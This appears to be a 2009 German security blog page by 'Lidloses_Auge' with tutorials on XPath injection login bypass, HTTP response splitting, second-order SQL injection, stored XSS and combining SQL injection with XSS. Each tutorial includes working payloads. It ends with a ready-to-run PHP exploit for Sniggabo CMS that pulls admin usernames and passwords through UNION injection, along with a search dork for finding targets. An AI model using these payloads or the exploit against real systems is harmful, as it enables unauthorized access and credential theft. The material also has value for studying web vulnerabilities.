	$xmldoc = new DOMDocument();
	$xmldoc->load('test.xml');
	$xpathvar = new Domxpath($xmldoc);
	$queryResult = $xpathvar->query("//users/user[username/text()='$user' and password/text()='$pw']");
 
	foreach($queryResult as $result){
		echo "Login erfolgreich!<br>Username und Password: ".$result->textContent."<br>";
	}
?>

Zum Ansteuern der einzelnen Elemente wird hier das Dokument Objekt Modell (DOM) verwendet.
Auch hier kann man Queries starten, die den XML Baum durchsuchen können.

Die Zeile, welche sich hier ausnutzen lässt ist die Query Zeile:
$queryResult = $xpathvar->query("//users/user[username/text()='$user' and password/text()='$pw']");

Ist magic_quotes_gpc deaktiviert lässt sich der aus dem SQL Injection Bypass bekannte Payload einfügen:
root' or '1'='1

Dies führt zu folgendem Resultat:
$queryResult = $xpathvar->query("//users/user[username/text()='root' or '1'='1' and password/text()='']");

Der Operator ‘or’ verwandelt den Ausdruck in “TRUE” und lässt den User passieren.

Wie sich hier also erkennen lässt, gibt es zahlreiche Methoden, einen Login zu umgehen, jenseits von SQL und Co.
Generell lassen sich XML Dokumente auch mit SAX(Simple API for XML) oder StAX (Streaming API for XML) ansteuern.

Lidloses_Auge Sonstiges

HTTP Response Splitting – CRLF oder Header Injection

20. August 2009

Eine etwas in Vergessenheit geratene Art von Web- basierten Sicherheitslücken ist
der sogenannte “HTTP Response Splitting” Angriff. Er wird auch oftmals als
“HTTP Header Injection” oder “CRLF Injection” bezeichnet.

Einleiten möchte ich diesen Artikel mit einem kleinen Beispiel einer simplen Weiterleitung:

Angenommen wir haben folgendes kleines Script:

1
2
3
<?php
header("Location: ".$_GET['page']);
?>

Es tut nichts anderes, als die Seite weiterzuleiten auf den GET Parameter.
Ein Aufruf könnte z.B. so aussehen:

127.0.0.1/forward.php?page=http://www.google.de

Betrachtet man die jeweiligen Request und Answer Header wird dies in etwa (hier vereinfacht) so aussehen:

GET /forward.php?page=http://www.google.de HTTP/1.1
Host: 127.0.0.1
Keep-Alive: 300
Connection: keep-alive

HTTP/1.1 302 Found
Date: Wed, 19 Aug 2009 12:50:14 GMT
Server: Apache
Location: http://www.google.de
Content-Type: text/html

GET / HTTP/1.1
Host: www.google.de
Keep-Alive: 300
Connection: keep-alive

HTTP/1.1 200 OK
Date: Wed, 19 Aug 2009 12:51:41 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=ISO-8859-1
Server: gws
Transfer-Encoding: chunked

Wie zu erkennen, wird zunächst ein Request an der Weiterleitungsskript gestartet, und die
gewünschte URL übergeben. Der Server Antwortet nicht etwa mit dem Statuscode 200 (OK)
sondern mit 302 (Found)
Dies impliziert eine temporäre Weiterleitung.

Am Location-Feld des ersten Antwort Headers erkennt man die gewünschte Adresse, auf die weitergeleitet
werden soll.
Dementsprechend wird ein zweites Request gestartet, in diesem Beispiel an Google, bei dem der Server
ganz normal mit einem 200 OK antwortet, und den Inhalt anzeigt.

Wir wollen unser Augenmerk nicht auf die Weiterleitung ansich legen, sondern auf die Tatsache, dass
wir Einfluss darauf haben, was im Location Feld vorzufinden ist.

Laut HTTP Spezifikation muss jedes Feld des Headers mit einem Carriage Return (CR) und einem
Line Feed (LF) enden. Dies ist ein Zeilenumbruch, der auch als \r\n oder %0d%0a geschrieben werden
kann.
Macht man sich diese Tatsache zunutze, kann man aus dem Feld, sofern man Einfluss darauf hat, ausbrechen.

Die Technik beim HTTP Response Splitting besteht im kompromittieren eines Proxy- oder Cacheservers,
der dem Webserver vorgeschaltet ist.
Hierzu generiert man 2 verschiedene Antworten, die vom Cache unterschiedlich interpretiert werden.

Ein kleines Beispiel:

127.0.0.1/forward.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2027%0d%0a%0d%0aCRLF Injection

Da dies in dieser Form sehr kryptisch aussieht, möchte ich es kurz anders darstellen:

Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 27

CRLF Injection

Was bedeutet dies nun für unsere Request/Response Ausgabe?

GET /forward.php?page=download%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2027%0d%0a%0d%0aCRLF Injection

HTTP/1.1
Host: 127.0.0.1
Keep-Alive: 300
Connection: keep-alive

HTTP/1.1 302 Found
Date: Wed, 19 Aug 2009 12:50:14 GMT
Server: Apache
Location:
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 27

CRLF Injection


Content-Type: text/html

Wie wir erkennen, existieren nun 2 Responses zu einem einzigen Request.
Die erste Antwort ist die vom Webserver generierte, mit dem Statuscode 302.
Die zweite Antwort haben wir vollständig selbst generiert, und bei Erfolg
sollte bereits jetzt eine weiße Seite mit unserem Content erscheinen.

Bis jetzt ist diese Methode Clientseitig, könnte also als XSS genutzt werden,
doch ist es möglich, das ganze noch weiterzuführen.

Wenn wir ein zweites Request über die gleiche Verbindung absetzen, z.b. auf:

127.0.0.1/index.php

So ordnet der Cache Server diesem zweiten Request die von uns generierte zweite Antwort zu,
sodass der Inhalt dessen in den Cache einfließt.

Dieses Verhalten wird auch als Cross-User-Defacement oder Web Cache Poisoning bezeichnet, und weiterhin
ist es möglich Second-Order-XSS einzuschleusen, also persistente serverseitige Attacken.

Es gibt zahlreiche Methoden, den Cache dazu zu bringen, die aufgerufene Seite zu cachen, auf die
ich hier nicht weiter eingehe.

Es ist wichtig zu erwähnen, dass ab den PHP Versionen 4.4.2 und 5.1.2 die header() Funktion
gefixed wurde, und es nicht mehr möglich ist, einen Header mit mehreren Zeilen zu senden.

Sofern Erfahrungen mit Cache Poisoning vorhanden sind,
wäre ich über Gesprächsthemen diesbezüglich nicht abgeneigt.

Einen schönen Sommertag wünscht Lidloses_Auge

Lidloses_Auge PHP

NovuSec wieder online

9. August 2009

. [ Show ] in English

Es ist einer der Tage, an dem man auf seine Feeds schaut und feststellen muss, es ist Sonntag
und niemand hat etwas zu berichten.
Hier ist es anders:

NovuSec ist wieder online, und befindet sich auf einem anderen Server.
Um mehr Transparenz zu schaffen, ist zudem ein Newsletter System geplant,
welches ggf. informieren soll, auch wenn die Seite durch Umbauarbeiten nicht
erreichbar ist.
Es werden selbstverständlich auch einige neue Artikel folgen, reinschauen lohnt sich.

Einen angenehmen Aufenthalt.

Lidloses_Auge Sonstiges

Second Order Vulnerabilities

2. Juli 2009

Second Order Vulnerabilities

Manchmal lassen sich Lücken nicht so einfach ausnutzen und man sucht nach einer
Lösung, wie es funktionieren könnte.
Oder man entdeckt eine Lücke, könnte diese aber viel effizienter anwenden,
als es zunächst den Anschein hat.

Wir sprechen hier von sogenannten “Second Order” Attacken,
“second” deswegen, da sie zunächst recht unauffällig wirken,
aber ebenso beim “zweiten” Blick verheerende Folgen haben können.

Angriffe zweiter Ordnung sind nicht auf eine Art von Lücke beschränkt,
sondern können überall auftreten, wo sich Content in die Seite integrieren lässt.

Die zwei prominentesten Beispiele sind hier, wie so oft, SQL Injection und XSS.

1. Second Order SQL Injection

Die Fehlerausgabe ist groß, man ist sich sicher, jeden Moment die Ausgabe vor sich zu haben,
doch scheint sich die Injection zur Blind Injection zu wandeln.
Die Erkenntnis kommt schnell: Das ist gar kein SELECT Query, es ist ein INSERT Query.

Doch dies ist kein großes Hindernis, man muss nur wissen, wie es funktioniert und
das Query bauen wird einfach.

Schauen wir uns also folgenden Quellcode an:

<html>
 
<form action="" method="POST">
<input type="name" name="name"><br>
<input type="text" name="text"><br>
<input type="submit" value="Eintragen">
</form>
 
</html>
 
<?php
 
$host="localhost";
$user="root";
$pass="";
$db="test";
 
$name = $_POST['name'];
$text = $_POST['text'];
 
if(isset($_POST['text'])) {
mysql_connect($host,$user,$pass);
mysql_select_db($db);
 
$query = "INSERT INTO test (`name`,`text`) VALUES ('".$name."','".$text."')";
$query2 = "SELECT `name`,`text` FROM test ORDER BY `id` DESC LIMIT 0,1";
$res1 = mysql_query($query) or die(mysql_error());
$res2 = mysql_query($query2) or die(mysql_error());
$output = mysql_fetch_array($res2);
 
echo "<br>Name: $output[0]<br>Text: $output[1]<br>";
}
 
?>

Augenscheinlich wird vom Nutzer eine Eingabe verlangt, nämlich Name und Text.
Dieses wird beides mttels INSERT Query in die Datenbank eingetragen.
Anschließend wird mit einem SELECT Query der hinterste Eintrag ausgegeben.

Da wir beim INSERT Query also keine Ausgabe bekommen, können wir uns das zweite SELECT Query zu nutze machen,
was den Inhalt ausgibt. Wir fügen also zuerst unseren gewünschten Content ein, und lassen diesen dann ausgeben.

Da zwei Strings eingelesen werden, die im Query mit Hochkommas umschlossen sind,
muss magic_quotes_gpc ausgeschaltet sein.

Es gibt hier mehrere Möglichkeiten, das ganze auszunutzen.

Möglichkeit 1 – Ein Eintrag in “name” und “text”

Möchte man “name” und “text” jeweils einmal verwenden, kann man folgendes probieren.

Name: test ',(Select version())) ; -- a
Text:

nach dem Wort “test” wird die erste Spalte durch das Hochkomma finalisiert.
Die Einträge separiert man mit einem Komma, und anschließend folgt unser gewünschter Inhalt.
Dieser ist in diesem Fall die MySQL Version. Da wir vom VALUES Statement jedoch noch eine
offene Klammer haben, muss auch diese am Ende geschlossen werden.
Aus dem PHP Code erkennen wir, dass das Skript versuchen müsste noch ein ‘) anzuhängen.
Um das zu verhindern kommentieren wir den Rest einfach aus.
Das “a” an Ende dient lediglich dazu, das Space hinter den beiden Minuszeichen mit
zu berücksichten, welches in manchen Fällen nicht mit einbezogen wird.

Die Ausgabe durch das SELECT Query wäre:

Name: test
Text: 5.1.30-community

Man erhält also das gewünschte Ergebnis, wenn auch einen Schritt später, als man gewohnt ist.

Möglichkeit 2 – Zwei Einträge in “name” und “text”

Das Escapen am Ende kann man sich auch sparen, wenn man es eilig hat, und einfach
zwei Einträge erstellen. Dazu öffnet man am Ende einfach wieder eine Klammerung mit
zwei weiteren Werten für “name” und “text”.

Eine Eingabemöglichkeit wäre also:

Name: Test
Text: Test'),((select version()),'Test

der erste Eintrag wäre also

Name: Test
Text: Test

und der zweite

Name: SELECT version()
Text: Test

Auch hier erzielt man den gewünschten Erfolg.

Manchmal erkennt man nicht auf den ersten Blick, wieviele Columns tatsächlich geschrieben werden, und
wieviele man überspringen muss.

Da PHP jedoch einen Fehler ausspuckt, wenn man eine andere Menge an Einträgen schreibt, wie vorgegeben
erstellt man einfach Columns, bis der Fehler nicht mehr erscheint.

Test1 – 1 Column:

Name: test') ; -- a
Text:

Query:
INSERT INTO test (`name`,`text`) VALUES ('test') ; -- a ','')

Es wird versucht einen einzelnen Wert zu schreiben, wo eigentlich zwei stehen müssten.

Ausgabe:
Column count doesn't match value count at row 1

Test2 – 2 Columns

Name: test','test') ; -- a
Text:

Query:
INSERT INTO test (`name`,`text`) VALUES ('test','test') ; -- a ','')

Es tritt kein Fehler auf, Anzahl der Spalten passt hier.

Achtung:

Durch das Einfügen ist die Ausgabe natürlich auch für jeden sichtbar der die Seite besucht (z.B. wenn es
sich um ein Gästebuch handelt)

Vielleicht ist es aber auch gerade gewollt, dass jeder auf die Injection zugreift und da kommt die
nächste Second Order Attacke ins Spiel:

2. Second Order XSS

Wer kennt es nicht … XSS-Link zusammenbasteln, an hochrangige Personen schicken und auf Ergebnisse hoffen -> Öde

Second Order XSS bringen etwas Schwung in den eingestaubten Prozess.
Im Grunde ist das Prinzip wie bei den S.O. SQL Injections, man speichert den Payload ab, um im zweiten
Prozesschritt ein Ergebnis zu erhalten.

Speichert man z.b. folgenden Code auf einer Website, die JavaScript unterstützt, ab …
<script>alert("NovuSec.com");</script>
… wird er bei jedem Besucher, der die Seite betritt ausgeführt und das ist eindeutig spannender
als eine First Order XSS. Bei professionellem Vorgehen ist die Attacke hier schwerer herauszufinden
und trifft mehr User, sofern man das möchte.

Das Einfügen kann auf unterschiedlichste Weisen erfolgen, ob über das ACP oder eventuell sogar über
einen Cache Poisoning Angriff mittels HTTP Response Splitting.

Besonders interessant wäre es natürlich beide vorgestellten Methoden einfach zu kombinieren, und über
eine SQL Injection im INSERT INTO Query einen XSS Payload einzuschleusen.

Mehr Infos gibt es im passenden “SQLXSS” Artikel, der hier auch zu finden ist.

Lidloses_Auge SQL Injections, Text Tutorials, XSS

SQLXSS – Kombinieren von SQL Injection und XSS

22. Juni 2009

. [ Show ] in English


Für gewöhnlich betrachtet man SQL Injections und Cross Site Scripting Attacken separat,
aber es ist durchaus möglich beides zu kombinieren, leider auch nur in eine Richtung.

Wenn man eine Injection gefunden hat, dessen MySQL Version 4 ist, die Tabellen sowie
Columns unbekannt sind, und auch keine Möglichkeit für load_file() besteht, braucht man
nicht unbedingt aufgeben.
Sofern eine Ausgabe vorhanden ist, kann man jeden möglichen Text darstellen, und natürlich
auch, wenn dieser HTML Tags und Javascript Code enthält.

Deswegen kann man SQL Injection und XSS ganz einfach kombinieren.
Das ganze nennt sich SQLXSS und könnte nützlich sein, sofern man nichts
gegen das Anwenden von XSS hat.

Man braucht die Column bei der man die Ausgabe erhält nur ersetzen mit einem beliebigen
JavaScript Code. In diesem Beispiel eine MessageBox mit dem Inhalt “NovuSec”.

Beispiel 1: ‘<script>alert("NovuSec");</script>’

Wenn magic_quotes_gpc angeschaltet ist, braucht man den Text nur in Hexadezimal umwandeln
und bekommt das gleiche Ergebnis.

Beispiel 2: 0×3C7363726970743E616C65727428224E6F767553656322293B3C2F7363726970743E

Diese Methode ist nichts besonderes, da man mit einer SQL Injection meist mehr anfangen
kann, als mit einer XSS Lücke, aber manchmal könnte es vielleicht doch nützlich sein.

Lidloses_Auge SQL Injections, XSS

Sniggabo CMS (article.php id) Remote SQL Injection Exploit

11. Juni 2009

. [ Show ] in English

Dieses Mal ist es bei einem recht kleinen Exploit geblieben:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
print_r('
 
################################################
 
Sniggabo CMS - Remote SQL Injection Exploit
 
Date:				11.06.2009
Vulnerability discovered by:	Lidloses_Auge
Exploit coded by:		Lidloses_Auge
Homepage:		    	http://www.novusec.com
Greetz to:			-=Player=- , Suicide, enco,
				Palme, GPM, karamble, Free-Hack
 
Admin Panel: 			[target]/admin/login.php
Dork:				"powered by Sniggabo CMS" inurl:article.php?id
Use:				php '.$argv[0].' http://www.site.com
 
################################################
 
');
$url = "$argv[1]/article.php?Id=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a)+from+users--";
$src = file_get_contents($url);
$data = split("::",$src);
echo "Admin: $data[1]\nPassword: $data[2]\n";
?>
 
# milw0rm.com [2009-06-11]

Lidloses_Auge Exploits, SQL Injections

Pages: 1 2 3 Next